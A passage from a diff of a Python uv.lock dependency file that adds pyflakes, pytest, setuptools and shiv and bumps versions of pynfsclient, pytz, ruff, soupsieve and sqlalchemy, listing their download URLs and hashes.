"2026-05-06T13:39:59.922Z" }, { url = "https://files.pythonhosted.org/packages/5c/fa/6d7708d2cfc1a832acb6aeb0cd16e801902df8a0f583bb3b4b527fde022e/pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594", size = 2111872, upload-time = "2026-05-06T13:40:27.596Z" }, { url = "https://files.pythonhosted.org/packages/ae/6f/aa064a3e74b5745afbdf250594f38e7ead05e2d651bcb35994b9417a0d4d/pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c", size = 1948255, upload-time = "2026-05-06T13:39:12.574Z" }, { url = "https://files.pythonhosted.org/packages/43/3a/41114a9f7569b84b4d84e7a018c57c56347dac30c0d4a872946ec4e36c46/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826", size = 1972827, upload-time = "2026-05-06T13:38:19.841Z" }, @@ -1675,6 +1745,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" }, ] +[[package]] +name = "pyflakes" +version = "3.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/45/dc/fd034dc20b4b264b3d015808458391acbf9df40b1e54750ef175d39180b1/pyflakes-3.4.0.tar.gz", hash = "sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58", size = 64669, upload-time = "2025-06-20T18:45:27.834Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c2/2f/81d580a0fb83baeb066698975cb14a618bdbed7720678566f1b046a95fe8/pyflakes-3.4.0-py2.py3-none-any.whl", hash = "sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f", size = 63551, upload-time = "2025-06-20T18:45:26.937Z" }, +] + [[package]] name = "pygments" version = "2.20.0" @@ -1730,8 +1809,8 @@ wheels = [ [[package]] name = "pynfsclient" -version = "0.1.5" -source = { git = "https://github.com/Pennyw0rth/NfsClient#a8fea2c163bf665dc6a8e35bb50e7baf81e2c6ed" } +version = "0.1.6" +source = { git = "https://github.com/Pennyw0rth/NfsClient#4cefeb605c80a3369de3126016b77839149b8433" } [[package]] name = "pyopenssl" @@ -1820,6 +1899,21 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/dd/9f/4da6a1b9611af2397289b77d6fd08f5fe8f1f34dabc3bf85b0638d655e64/pyspnego-0.12.1-py3-none-any.whl", hash = "sha256:7237cb47985ccf5da512106ddb2731e4f9cefec00991f76c054488eb95fb1a2d", size = 130247, upload-time = "2026-03-02T20:16:08.331Z" }, ] +[[package]] +name = "pytest" +version = "7.4.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/80/1f/9d8e98e4133ffb16c90f3b405c43e38d3abb715bb5d7a63a5a684f7e46a3/pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280", size = 1357116, upload-time = "2023-12-31T12:00:18.035Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/51/ff/f6e8b8f39e08547faece4bd80f89d5a8de68a38b2d179cc1c4490ffa3286/pytest-7.4.4-py3-none-any.whl", hash = "sha256:b090cdf5ed60bf4c45261be03239c2c1c22df034fbffe691abe93cd80cea01d8", size = 325287, upload-time = "2023-12-31T12:00:13.963Z" }, +] + [[package]] name = "python-dateutil" version = "2.9.0.post0" @@ -1840,11 +1934,11 @@ sdist = { url = "https://files.pythonhosted.org/packages/f0/b2/38e34576a715115e5 [[package]] name = "pytz" -version = "2026.2" +version = "2026.3.post1" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/ff/46/dd499ec9038423421951e4fad73051febaa13d2df82b4064f87af8b8c0c3/pytz-2026.2.tar.gz", hash = "sha256:0e60b47b29f21574376f218fe21abc009894a2321ea16c6754f3cad6eb7cdd6a", size = 320861, upload-time = "2026-05-04T01:35:29.667Z" } +sdist = { url = "https://files.pythonhosted.org/packages/fb/48/fb042503b6ca6cd271261dc559fd6432f7d8c713153e9ec5c591af4dfc1c/pytz-2026.3.post1.tar.gz", hash = "sha256:2211d3fcf9a797d3405cac96ac7f61d80e6a644f72a3309607282fe8a2010c5d", size = 319745, upload-time = "2026-07-25T15:12:07.385Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ec/dd/96da98f892250475bdf2328112d7468abdd4acc7b902b6af23f4ed958ea0/pytz-2026.2-py2.py3-none-any.whl", hash = "sha256:04156e608bee23d3792fd45c94ae47fae1036688e75032eea2e3bf0323d1f126", size = 510141, upload-time = "2026-05-04T01:35:27.408Z" }, + { url = "https://files.pythonhosted.org/packages/0f/7b/39c34ca613b0b198cb866466651b26b045e2009864c5183c979a3b83f383/pytz-2026.3.post1-py2.py3-none-any.whl", hash = "sha256:dd95840dd199baea12d9cc096a1d452caa6596a1c1e4b5f3dbd1541855d5e815", size = 508283, upload-time = "2026-07-25T15:12:05.782Z" }, ] [[package]] @@ -1877,27 +1971,50 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.20" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/43/dc/35b341fc554ba02f217fc10da57d1a75168cfbcf75b0ef2202176d4c4f2d/ruff-0.15.20.tar.gz", hash = "sha256:1416eb04349192646b54de98f146c4f59afe37d0decfc02c3cbbf396f3a28566", size = 4755489, upload-time = "2026-06-25T17:20:37.578Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/94/d9/2d5014f0253ba541d2061d9fa7193f48e941c8b21bb88a7ff9bbe0bd0596/ruff-0.15.20-py3-none-linux_armv6l.whl", hash = "sha256:00e188c53e499c3c1637f73c91dcf2fb56d576cab76ce1be50a27c4e80e37078", size = 10839665, upload-time = "2026-06-25T17:19:44.702Z" }, - { url = "https://files.pythonhosted.org/packages/c6/d3/ac1798ba64f670698867fcfc591d50e7e421bef137db564858f619a30fcf/ruff-0.15.20-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9ebd1fd9b9c95fc0bd7b2761aebec1f030013d2e193a2901b224af68fe47251b", size = 11208649, upload-time = "2026-06-25T17:19:48.787Z" }, - { url = "https://files.pythonhosted.org/packages/47/47/d3ac899991202095dfcf3d5176be4272642be3cf981a2f1a30f72a2afb95/ruff-0.15.20-py3-none-macosx_11_0_arm64.whl", hash = "sha256:c5b16cdd67ca108185cd36dce98c576350c03b1660a751de725fb049193a0632", size = 10622638, upload-time = "2026-06-25T17:19:51.354Z" }, - { url = "https://files.pythonhosted.org/packages/33/13/4e043fe30aa94d4ff5213a9881fc296d12960f5971b234a5263fdc225312/ruff-0.15.20-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3413bb3c3d2ca6a8208f1f4809cd2dca3c6de6d0b491c0e70847672bde6e6efd", size = 10984227, upload-time = "2026-06-25T17:19:54.044Z" }, - { url = "https://files.pythonhosted.org/packages/76/e6/92e7bf40388bc5800073b96564f56264f7e48bfd1a498f5ced6ae6d5a769/ruff-0.15.20-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd7ec42b3bb3da066488db093308a69c4ac5ee6d2af333a86ba6e2eb2e7dd44b", size = 10622882, upload-time = "2026-06-25T17:19:57.037Z" }, - { url = "https://files.pythonhosted.org/packages/13/7a/43460be3f24495a3aa46d4b16873e2c4941b3b5f0b00cf88c03b7b94b339/ruff-0.15.20-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1a36ad0eb77fba9aabfb69ede54de6f376d04ac18ebea022847046d340a8267", size = 11474808, upload-time = "2026-06-25T17:20:00.357Z" }, - { url = "https://files.pythonhosted.org/packages/27/a0/f37077884873221c6b33b4ab49eb18f9f88e54a16a25a5bca59bef46dd66/ruff-0.15.20-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b6df3b1e4610432f0386dba04d853b5f08cbbc903410c6fcc02f620f05aff53c", size = 12293094, upload-time = "2026-06-25T17:20:03.446Z" }, - { url = "https://files.pythonhosted.org/packages/a6/74/165545b60256a9704c21ac0ec4a0d07933b320812f9584836c9f4aca4292/ruff-0.15.20-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e89f198a1ea6ef0d727c1cf16088bc91a6cb0ab947dedc966715691647186eae", size = 11526176, upload-time = "2026-06-25T17:20:06.301Z" }, - { url = "https://files.pythonhosted.org/packages/86/b1/a976a136d40ade83ce743578399865f57001003a409acadc0ecbb3051082/ruff-0.15.20-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309809086c2acb67624950a3c8133e80f32d0d3e27106c0cd60ff26657c9f24b", size = 11520767, upload-time = "2026-06-25T17:20:09.191Z" }, - { url = "https://files.pythonhosted.org/packages/19/0f/f032696cb01c9b54c0263fa393474d7758f1cdc021a01b04e3cbc2500999/ruff-0.15.20-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2d2374caa2f2c2f9e2b7da0a50802cfb8b79f55a9b5e49379f564544fbf56487", size = 11500132, upload-time = "2026-06-25T17:20:13.602Z" }, - { url = "https://files.pythonhosted.org/packages/4b/f4/51b1a14bc69e8c224b15dab9cce8e99b425e0455d462caa2b3c9be2b6a8e/ruff-0.15.20-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a1ed17b65293e0c2f22fc387bc13198a5de94bf4429589b0ff6946b0feaf21a3", size = 10943828, upload-time = "2026-06-25T17:20:16.635Z" }, - { url = "https://files.pythonhosted.org/packages/71/4b/fe267640783cd02bf6c5cc290b1df1051be2ec294c678b5c15fe19e52343/ruff-0.15.20-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:f701305e66b38ea6c91882490eb73459796808e4c6362a1b765255e0cdcd4053", size = 10645418, upload-time = "2026-06-25T17:20:19.4Z" }, - { url = "https://files.pythonhosted.org/packages/b0/c0/a65aa4ec2f5e87a1df32dc3ec1fede434fe3dfd5cbcf3b503cafc676ab54/ruff-0.15.20-py3-none-musllinux_1_2_i686.whl", hash = "sha256:5b9c0c367ad8e5d0d5b5b8537864c469a0a0e55417aadfbeca41fa61333be9f4", size = 11211770, upload-time = "2026-06-25T17:20:22.033Z" }, - { url = "https://files.pythonhosted.org/packages/5a/a4/0caa331d954ae2723d729d351c989cb4ca8b6077d5c6c2cb6de75e98c041/ruff-0.15.20-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:01cc00dd58f0df339d0e902219dd53990ea99996a0344e5d9cc8d45d5307e460", size = 11618698, upload-time = "2026-06-25T17:20:25.259Z" }, - { url = "https://files.pythonhosted.org/packages/10/9b/5f14927848d2fd4aa891fd88d883788c5a7baba561c7874732364045708c/ruff-0.15.20-py3-none-win32.whl", hash = "sha256:ed65ef510e43a137207e0f01cfcf998aeddb1aeeda5c9d35023e910284d7cf21", size = 10857322, upload-time = "2026-06-25T17:20:28.612Z" }, - { url = "https://files.pythonhosted.org/packages/fa/f0/fe47c501f9dea92a26d788ff98bb5d92ed4cb4c88792c5c88af6b697dc8e/ruff-0.15.20-py3-none-win_amd64.whl", hash = "sha256:a525c81c70fb0380344dd1d8745d8cc1c890b7fc94a58d5a07bd8eb9557b8415", size = 11993274, upload-time = "2026-06-25T17:20:31.871Z" }, - { url = "https://files.pythonhosted.org/packages/d7/2b/9555445e1201d92b3195f45cdb153a0b68f24e0a4273f6e3d5ab46e212bb/ruff-0.15.20-py3-none-win_arm64.whl", hash = "sha256:2f5b2a6d614e8700388806a14996c40fab2c47b819ef57d790a34878858ed9ca", size = 11343498, upload-time = "2026-06-25T17:20:35.03Z" }, +version = "0.16.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/61/b3/3213589383f8f1b3938781bd1278713f6d18621a14992b3e81fefb8a5ef9/ruff-0.16.3.tar.gz", hash = "sha256:e76d33a347661a84b5be6d043d0347fdc745dfdcf825a8f4fed64b5e26eebdf2", size = 4891904, upload-time = "2026-08-13T15:17:13.381Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bf/96/493770daebd68c0a67f1549fdf519f53be51fc435186c0585bcc272fd76c/ruff-0.16.3-py3-none-linux_armv6l.whl", hash = "sha256:0c5710e247a58a4521e66e124ba9a74655b414f61ba3a2e9e3811e11098f48f7", size = 10902799, upload-time = "2026-08-13T15:16:27.382Z" }, + { url = "https://files.pythonhosted.org/packages/5e/e6/2becf3942fddc29a29b8df47691d456fb1085391a694f74d84513251418c/ruff-0.16.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:fe155130631a2471fd2e14a7a664a4dfbd7194b8229c3d7b2a40b21178639081", size = 11135539, upload-time = "2026-08-13T15:16:30.87Z" }, + { url = "https://files.pythonhosted.org/packages/3e/1e/4b8b72f0d006dbf19326aa99f9ca0ee2ff374187c4d301cf529a51aa06fe/ruff-0.16.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e2ed719e14aa64d895c2ee922594a90a43c861a93f0575a95ff8c47cdbd13eb9", size = 10475095, upload-time = "2026-08-13T15:16:33.259Z" }, + { url = "https://files.pythonhosted.org/packages/92/32/2201fa49ba1f6c101ee321e83f051ac7a4b8d07b0ef6b4d3f2772b302275/ruff-0.16.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9e0b1da805eb043654645d74d5de1e5ce2edc686e40790d2b86f56d71cc06a84", size = 10668771, upload-time = "2026-08-13T15:16:35.65Z" }, + { url = "https://files.pythonhosted.org/packages/c3/66/4afc5c8363bd04d45effce1b7c8713ca037d7a6740b7451a2403a6e3a972/ruff-0.16.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a37bdea0bbe21780f590bf437d6412c8c4e1b6cd010f91a65c2c40c5e5f5f870", size = 10699568, upload-time = "2026-08-13T15:16:38.195Z" }, + { url = "https://files.pythonhosted.org/packages/53/fd/c67d246bf36bf1698551c56de39e95cd07f70e64433e0098e6267d77061b/ruff-0.16.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09571e6d1288ed9be475207a3ac04ada404f1cd898104be0f6ab8d7df438575b", size = 11499365, upload-time = "2026-08-13T15:16:40.623Z" }, + { url = "https://files.pythonhosted.org/packages/67/0b/00ecbceb99a263af7b12f6f05ac3c92bc47b905e91adc3f207a836e3bc01/ruff-0.16.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c18c5a101eb540010638cc1ff3c84944d3adb3df62b8d98ca8f22ba484d3413", size = 12311728, upload-time = "2026-08-13T15:16:43.564Z" }, + { url = "https://files.pythonhosted.org/packages/54/b2/b7b3bb54f4d3f7db504e476ad4ab8de530dceebe2c061384b2757ee419e8/ruff-0.16.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8457c44f15033c85ddbb77b15d451df9e24e4bd03b628396dd3610cedc3b8f82", size = 11699896, upload-time = "2026-08-13T15:16:46.209Z" }, + { url = "https://files.pythonhosted.org/packages/c7/30/4c468429ac195addc5ee1b717b6ab1b66632786737ca3b2ed3443fb0c26a/ruff-0.16.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:294b95c4ae0cda9388525c2047778aa758d6b8d4bb876fd4e9eaa3ebc92343eb", size = 11058736, upload-time = "2026-08-13T15:16:48.823Z" }, + { url = "https://files.pythonhosted.org/packages/43/67/7a113cdaddf24b64d7f75b1242a99d04c82fcef4f6921fdbb832beaffb5f/ruff-0.16.3-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:3d0c7c40c87c2a820509c31ba007968da6e1306468c067b2d82fbfdbcd0e8474", size = 11586911, upload-time = "2026-08-13T15:16:51.913Z" }, + { url = "https://files.pythonhosted.org/packages/f1/c1/2e66f24c0f3ead25a5e660111778685e505e5da353c82802bf49f0cbe7b9/ruff-0.16.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:9f738c0fdfa8eed0b2ce7fb27ee7258208a92a68d7949e62aa15164bc7b389da", size = 10954265, upload-time = "2026-08-13T15:16:54.763Z" }, + { url = "https://files.pythonhosted.org/packages/c2/ba/4cee23bf52cba9a058d3726de623624daf50ef9638868edd86f4126157f6/ruff-0.16.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:fb785f0be25abe69d320415cd4f833b59e17ba7613d9ba6a958023b6bceb0a50", size = 10709886, upload-time = "2026-08-13T15:16:57.339Z" }, + { url = "https://files.pythonhosted.org/packages/82/df/7da7194fa5d9dc0a285f7e6fa5a4722e7c63faac0b45b614ded9314363a1/ruff-0.16.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:c5536e3acfbf9563085aa2be7b13c629c3077e902afc5b941ac44024dbb9f506", size = 11210392, upload-time = "2026-08-13T15:17:00.171Z" }, + { url = "https://files.pythonhosted.org/packages/35/85/7795f6e817af050e7517bf3e7aa9b061cce70ef33d280aad902c956c1ecf/ruff-0.16.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:a2d85c02f9b8e165d85e6779184d38c4132de12603dab59c51c28e22584f9e4d", size = 11626910, upload-time = "2026-08-13T15:17:03.299Z" }, + { url = "https://files.pythonhosted.org/packages/78/9b/475b927cf27a5cbbda3c7bafb69ed6ff77e1d7923d5d85f17c2749d7ae32/ruff-0.16.3-py3-none-win32.whl", hash = "sha256:388cdf2166642bd9b13d52b5932d3170f34f8abed7e8d9a855f1d84b83645a0a", size = 10931415, upload-time = "2026-08-13T15:17:05.726Z" }, + { url = "https://files.pythonhosted.org/packages/b2/99/e2a2bfc4fbf0a1e8a916bc9ebe6fe6c58cc34c28e0ffc6ce281d572d1c2e/ruff-0.16.3-py3-none-win_amd64.whl", hash = "sha256:e80a7d69ca2a6d1c4d352ec91458cdca6e56c83cdbcabd93e4abe1e53591d948", size = 11445993, upload-time = "2026-08-13T15:17:08.353Z" }, + { url = "https://files.pythonhosted.org/packages/69/3e/4132e539aed78c148854d4997a2685b0ed4dc4e87110b59ce528564e184e/ruff-0.16.3-py3-none-win_arm64.whl", hash = "sha256:b8ca152da82c1acc1fa8d5874b15951935f0eef46f10e6954c83859011b6178a", size = 11399302, upload-time = "2026-08-13T15:17:10.908Z" }, +] + +[[package]] +name = "setuptools" +version = "84.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6d/44/f5da03a8ef95d369145c5bb53050e7877c9f3d312e128605fd9504829143/setuptools-84.0.0.tar.gz", hash = "sha256:f4695c21257f0d9b537ec2692c941d02ee143b7cc1276941349a546573b2ef73", size = 1168449, upload-time = "2026-08-08T18:27:58.365Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/95/9c/c510029fc6ef33a6275cd2c5d3cecd6613dfd6aa401d57c54f1c18852ccf/setuptools-84.0.0-py3-none-any.whl", hash = "sha256:51a52592b3b99e102b609654876bd65f19f999935166d1352678931132b0c670", size = 818216, upload-time = "2026-08-08T18:27:56.719Z" }, +] + +[[package]] +name = "shiv" +version = "1.0.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "pip" }, + { name = "setuptools" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/85/004e7123b4821c64be6d9bfed27f63147b4dde929a1cd848f137befeada4/shiv-1.0.8.tar.gz", hash = "sha256:2a68d69e98ce81cb5b8fdafbfc1e27efa93e6d89ca14bfae33482e4176f561d6", size = 32806, upload-time = "2024-11-01T19:47:46.189Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e7/ec/afbb46f7c1ab071a50d92424daf149420ca1f0e02dc51239485747151d6c/shiv-1.0.8-py2.py3-none-any.whl", hash = "sha256:a60e4b05a2d2f8b820d567b1d89ee59af731759771c32c282d03c4ceae6aba24", size = 20516, upload-time = "2024-11-01T19:47:45.061Z" }, ] [[package]] @@ -1911,66 +2028,53 @@ wheels = [ [[package]] name = "soupsieve" -version = "2.8.4" +version = "2.9.2" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/47/2c/0a5f6f8ee0d5589e48c7640213ed5175d52cf540a06725b628cc1a45d6ce/soupsieve-2.8.4.tar.gz", hash = "sha256:e121fd02e975c695e4e9e8774a5ee35d74714b59307868dcc5319ad2d9e3328e", size = 121110, upload-time = "2026-05-24T13:55:57.154Z" } +sdist = { url = "https://files.pythonhosted.org/packages/69/99/a6ca3beb3ccacb41fb3321d8a60e5566f9e6467601ef8eba6a17e1b89778/soupsieve-2.9.2.tar.gz", hash = "sha256:4a55d8cf158a9c2e587fa4922f1bbb91d68ac829e2d6f25403a85747c71daf74", size = 122445, upload-time = "2026-08-07T00:57:24.801Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/5e/f5/0c41cb68dcae6b7de4fac4188a3a9589e21fb31df21ea3a2e888db95e6c9/soupsieve-2.8.4-py3-none-any.whl", hash = "sha256:e7e6b0769c8f51ed59acab6e994b00621096cfb1c640a7509295987388fbaf65", size = 37304, upload-time = "2026-05-24T13:55:55.406Z" }, + { url = "https://files.pythonhosted.org/packages/eb/dc/ad025c1ee131eba60c69f4dd5779b18fcf1e6b21a343e2162a84d5d133c7/soupsieve-2.9.2-py3-none-any.whl", hash = "sha256:8089a26fd974ca7a1f30276d3d8492ab266ab15af581642dfe8aa162e0c1c823", size = 37370, upload-time = "2026-08-07T00:57:23.524Z" }, ] [[package]] name = "sqlalchemy" -version = "2.0.51" +version = "2.0.52" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "greenlet", marker = "platform_machine == 'AMD64' or platform_machine == 'WIN32' or platform_machine == 'aarch64' or platform_machine == 'amd64' or platform_machine == 'ppc64le' or platform_machine == 'win32' or platform_machine == 'x86_64'" }, { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/02/f1/a7a892f18d4d224e6b26f706531eafccc41e37594d37d304786969ee13cb/sqlalchemy-2.0.51.tar.gz", hash = "sha256:804dccd8a4a6242c4e30ad961e540e18a588f6527202f2d6791b01845d59fdc9", size = 9912201, upload-time = "2026-06-15T15:41:20.012Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/71/76/b3ea1d8842e7b62c718a88d302809003d65ed82011460ca48907dde658c4/sqlalchemy-2.0.51-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0e8203d2fbd5c6254692ef0a72c740d75b2f3c7ca345404f4c1a4604813c77c0", size = 2162087, upload-time = "2026-06-15T16:05:15.795Z" }, - { url = "https://files.pythonhosted.org/packages/6c/22/f19552eb7876774d50cfd025337ef5d67acc10cd8f29adab7716cf47c352/sqlalchemy-2.0.51-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1af05726b3d0cdba1c55284bf408fd3b792e690fe2399bfb8304565551cda652", size = 3244579, upload-time = "2026-06-15T16:10:36.165Z" }, - { url = "https://files.pythonhosted.org/packages/fc/97/e4a2eb5a8ec5cd3c2a0615a2f15f0afca89ac039229599b9ed0c0ed28e5e/sqlalchemy-2.0.51-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2e54ff2dd657f2e3e0fbf2b097db1182f7bfea263eca4353f00065bae2a67c3d", size = 3243515, upload-time = "2026-06-15T16:12:22.627Z" }, - { url = "https://files.pythonhosted.org/packages/74/c6/5900ec624fab3360aa2ec59b99bb2046dd79799e310bb78a0514eaa4038e/sqlalchemy-2.0.51-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:1e47b1199c2e832e325eacabc8d32d2487f58c9358f97e9a00f5eb93c5680d84", size = 3195492, upload-time = "2026-06-15T16:10:38.097Z" }, - { url = "https://files.pythonhosted.org/packages/8f/41/2ee3c4e1ac4fd22309349823fe13f33febeab1a71db1d7e9d60293a07dcb/sqlalchemy-2.0.51-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c68568f3facf8f66fa76c60e0ced69b67666ffa9941d1d0a3756fda196049080", size = 3215782, upload-time = "2026-06-15T16:12:24.051Z" }, - { url = "https://files.pythonhosted.org/packages/ce/1c/3bd72c341f1cb5faed5a7457ea840228a46be51cfbaf31a9db72fc963f11/sqlalchemy-2.0.51-cp310-cp310-win32.whl", hash = "sha256:0592bdadf86ddcabfd72d9ab66ea8a5d8d2cc6be1cc51fa7e66c03868ac5eac1", size = 2122119, upload-time = "2026-06-15T16:13:26.915Z" }, - { url = "https://files.pythonhosted.org/packages/2a/63/b6dfdd646abf91c3bedb13727226a5e765e5f8365e898d43818e6672fa46/sqlalchemy-2.0.51-cp310-cp310-win_amd64.whl", hash = "sha256:740cf6f35351b1ac3d82369152acf1d51d37e3dcf85d4dc0a22ca01410eabe2a", size = 2145158, upload-time = "2026-06-15T16:13:28.386Z" }, - { url = "https://files.pythonhosted.org/packages/3a/69/a67c69e5f28fc9c99d6f7bd60bd50e91f2fed2423e3b30fb228fa00e51f3/sqlalchemy-2.0.51-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1aa10c0daee6705294d181daadaa793221e1a59ed55000a3fab1d42b088ce4ba", size = 2161838, upload-time = "2026-06-15T16:05:17.144Z" }, - { url = "https://files.pythonhosted.org/packages/9a/a4/c8c22b8438bddc0a030157c6ec0f6ef97b3c38effa444bdab2a27af04090/sqlalchemy-2.0.51-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5b2ed6d828f1f09bd812861f4f59ca3bc3803f9df871f4555187f0faf018604", size = 3319402, upload-time = "2026-06-15T16:10:40.002Z" }, - { url = "https://files.pythonhosted.org/packages/90/54/44012d32fd77d991256d2ff793ba3807c51d40cb27a85b4796224f6744df/sqlalchemy-2.0.51-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:436728ce18a80f6951a1e11cc6112c2ede9faf20766f1a26195a7c441ca12dbd", size = 3319675, upload-time = "2026-06-15T16:12:25.658Z" }, - { url = "https://files.pythonhosted.org/packages/29/a5/de0592acaf5906cd7430874392d6f7e8b4a7c8437610953ee2d1501c0b44/sqlalchemy-2.0.51-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dc261707bf5739aea8a541593f3cc1d463c2701fb05fbcbba0ce031b69a21260", size = 3270777, upload-time = "2026-06-15T16:10:42.125Z" }, - { url = "https://files.pythonhosted.org/packages/cb/14/a44c90739c780b362238e4ac3cb19dd0ca40d13e6ddc5daa112166ddab4f/sqlalchemy-2.0.51-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a6d26094615306d116dd5e4a51b0304c99dd2356fc569eed6922a80a6bd3b265", size = 3293940, upload-time = "2026-06-15T16:12:27.156Z" }, - { url = "https://files.pythonhosted.org/packages/65/eb/fbd0f206a330e66f8c602a99c37c4e731f107faed62954b41b01f16dd9d9/sqlalchemy-2.0.51-cp311-cp311-win32.whl", hash = "sha256:ca8435d13829b92f4a97362d91975154a4015db3a2634154e1754e9a915e6b86", size = 2121183, upload-time = "2026-06-15T16:13:29.905Z" }, - { url = "https://files.pythonhosted.org/packages/ad/fd/005bf80f3cf6e5c62b5dd68616280f51cd012c60840fa74781b3ed7b1623/sqlalchemy-2.0.51-cp311-cp311-win_amd64.whl", hash = "sha256:4a011ea4510683319ce4ed274b56ee05194b39b6da9d09ca7a39388f0fa84dcc", size = 2145796, upload-time = "2026-06-15T16:13:31.283Z" }, - { url = "https://files.pythonhosted.org/packages/d5/70/e868bc5412acd101a8280f25c95f10eeae0771c4eb806b02491142810ee8/sqlalchemy-2.0.51-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d78702b26ba1c18b2d0fb2ea940ba7f17a9581b42e8361ff93920ebbee1235a", size = 2160291, upload-time = "2026-06-15T16:08:48.918Z" }, - { url = "https://files.pythonhosted.org/packages/e5/1c/71ee0f8a6b9d7316a1ccd30430b4c62b6c2e36adc96017a4e3a72dce49d6/sqlalchemy-2.0.51-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:581921d849d6e6f994d560389192955e80e2950e18fcdfe2ccea863e01158e6e", size = 3343835, upload-time = "2026-06-15T16:19:42.613Z" }, - { url = "https://files.pythonhosted.org/packages/2b/7c/7ab9f9aadc5944fdd06612484ed7918fe376ad871a5f50404dc1536e0194/sqlalchemy-2.0.51-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1d21ce524ab86c23046e992a5b81cb54c21079c6df6e78b8fc77d77cac70a6b9", size = 3358470, upload-time = "2026-06-15T16:26:38.011Z" }, - { url = 